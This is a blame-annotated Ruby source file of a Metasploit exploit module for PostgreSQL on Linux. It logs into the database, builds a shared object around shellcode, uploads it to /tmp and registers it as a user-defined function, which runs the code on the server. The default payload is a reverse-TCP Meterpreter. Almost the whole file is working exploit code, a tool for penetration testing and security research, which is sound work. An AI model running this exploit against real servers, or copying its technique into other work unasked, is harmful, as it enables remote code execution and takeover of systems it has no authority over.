Files
metasploit-gs/modules/exploits/linux/postgres/postgres_payload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

222 lines
6.1 KiB
Ruby
Raw Normal View History

2012-08-14 17:46:35 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-08-14 17:46:35 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-08-14 17:46:35 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
include Msf::Exploit::Remote::Postgres
2012-10-18 15:40:27 -05:00
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Linux Payload Execution',
2012-08-14 17:46:35 +01:00
'Description' => %q{
On some default Linux installations of PostgreSQL, the
postgres service account may write to the /tmp directory, and
2017-08-31 13:57:53 -05:00
may source UDF Shared Libraries from there as well, allowing
execution of arbitrary code.
2013-08-30 16:28:54 -05:00
This module compiles a Linux shared object file, uploads it to
the target host via the UPDATE pg_largeobject method of binary
injection, and creates a UDF (user defined function) from that
shared object. Because the payload is run as the shared object's
constructor, it does not need to conform to specific Postgres
API versions.
2012-08-14 17:46:35 +01:00
},
'Author' =>
[
'midnitesnake', # this Metasploit module
2012-10-18 15:55:55 -05:00
'egypt', # on-the-fly compiled .so technique
'todb', # original windows module this is based on
'lucipher' # updated module to work on Postgres 8.2+
2012-08-14 17:46:35 +01:00
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-3280' ],
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
2012-08-14 17:46:35 +01:00
],
'Platform' => 'linux',
2012-08-14 17:46:35 +01:00
'Payload' =>
{
'Space' => 65535,
2012-08-14 17:46:35 +01:00
'DisableNops' => true,
},
'Targets' =>
[
2021-08-20 16:06:16 +01:00
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[ 'Linux x86_64',
{
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
],
2012-08-14 17:46:35 +01:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2007-06-05'
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
))
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
deregister_options('SQL', 'RETURN_ROWSET')
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
def check
version = postgres_fingerprint
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
if version[:auth]
2014-01-24 12:08:23 -06:00
return CheckCode::Appears
2012-12-22 00:30:09 -06:00
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
2012-08-14 17:46:35 +01:00
end
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
def exploit
2012-10-18 15:40:27 -05:00
version = do_login(username,password,database)
2012-08-14 17:46:35 +01:00
case version
2017-07-21 07:41:51 -07:00
when :noauth; print_error "Authentication failed"; return
when :noconn; print_error "Connection failed"; return
2012-10-18 15:40:27 -05:00
else
print_status("#{rhost}:#{rport} - #{version}")
2012-08-14 17:46:35 +01:00
end
2013-08-30 16:28:54 -05:00
2012-10-18 15:40:27 -05:00
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
unless postgres_upload_binary_data(payload_so(fname), fname)
2012-08-14 17:46:35 +01:00
print_error "Could not upload the UDF SO"
return
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
print_status "Uploaded as #{fname}, should be cleaned up automatically"
begin
2012-10-18 15:40:27 -05:00
func_name = Rex::Text.rand_text_alpha(10)
postgres_query(
"create or replace function pg_temp.#{func_name}()"+
2012-12-22 00:30:09 -06:00
" returns void as '#{fname}','#{func_name}'"+
" language c strict immutable"
2012-10-18 15:40:27 -05:00
)
2012-12-22 00:30:09 -06:00
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
2012-08-14 17:46:35 +01:00
end
postgres_logout if @postgres_conn
2013-08-30 16:28:54 -05:00
2012-08-14 17:46:35 +01:00
end
2013-08-30 16:28:54 -05:00
2012-10-18 15:40:27 -05:00
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login(user=nil,pass=nil,database=nil)
2012-08-14 17:46:35 +01:00
begin
password = pass || postgres_password
2012-10-18 15:40:27 -05:00
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
2012-08-14 17:46:35 +01:00
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
2012-10-18 15:40:27 -05:00
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
2012-08-14 17:46:35 +01:00
else
2017-07-19 12:48:52 +01:00
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
2012-08-14 17:46:35 +01:00
return :noauth
end
2012-10-18 15:40:27 -05:00
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
2012-08-14 17:46:35 +01:00
return :noconn
end
end
2013-08-30 16:28:54 -05:00
2012-10-18 15:40:27 -05:00
def payload_so(filename)
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
#shellcode = "\\xcc"
2013-08-30 16:28:54 -05:00
c = %Q^
int _exit(int);
int printf(const char*, ...);
int perror(const char*);
void *mmap(int, int, int, int, int, int);
void *memcpy(void *, const void *, int);
int mprotect(void *, int, int);
int fork();
2012-10-18 15:40:27 -05:00
int unlink(const char *pathname);
2013-08-30 16:28:54 -05:00
#define MAP_PRIVATE 2
#define MAP_ANONYMOUS 32
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
2013-08-30 16:28:54 -05:00
#define PAGESIZE 0x1000
2013-08-30 16:28:54 -05:00
typedef struct _Pg_magic_struct {
int len;
int version;
int funcmaxargs;
int indexmaxkeys;
int namedatalen;
int float4byval;
int float8byval;
} Pg_magic_struct;
extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);
const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)
{
static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};
return &Pg_magic_data;
}
char shellcode[] = "#{shellcode}";
2013-08-30 16:28:54 -05:00
void run_payload(void) __attribute__((constructor));
2013-08-30 16:28:54 -05:00
void run_payload(void)
{
int (*fp)();
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
2013-08-30 16:28:54 -05:00
memcpy(fp, shellcode, sizeof(shellcode));
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
_exit(1);
}
if (!fork()) {
fp();
}
2013-08-30 16:28:54 -05:00
2012-10-18 15:40:27 -05:00
unlink("#{filename}");
return;
}
2013-08-30 16:28:54 -05:00
^
2013-08-30 16:28:54 -05:00
cpu = case target_arch.first
when ARCH_X86; Metasm::Ia32.new
when ARCH_X64; Metasm::X86_64.new
end
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
2013-08-30 16:28:54 -05:00
so_file = payload_so.encode_string(:lib)
2013-08-30 16:28:54 -05:00
so_file
end
2012-08-14 17:46:35 +01:00
end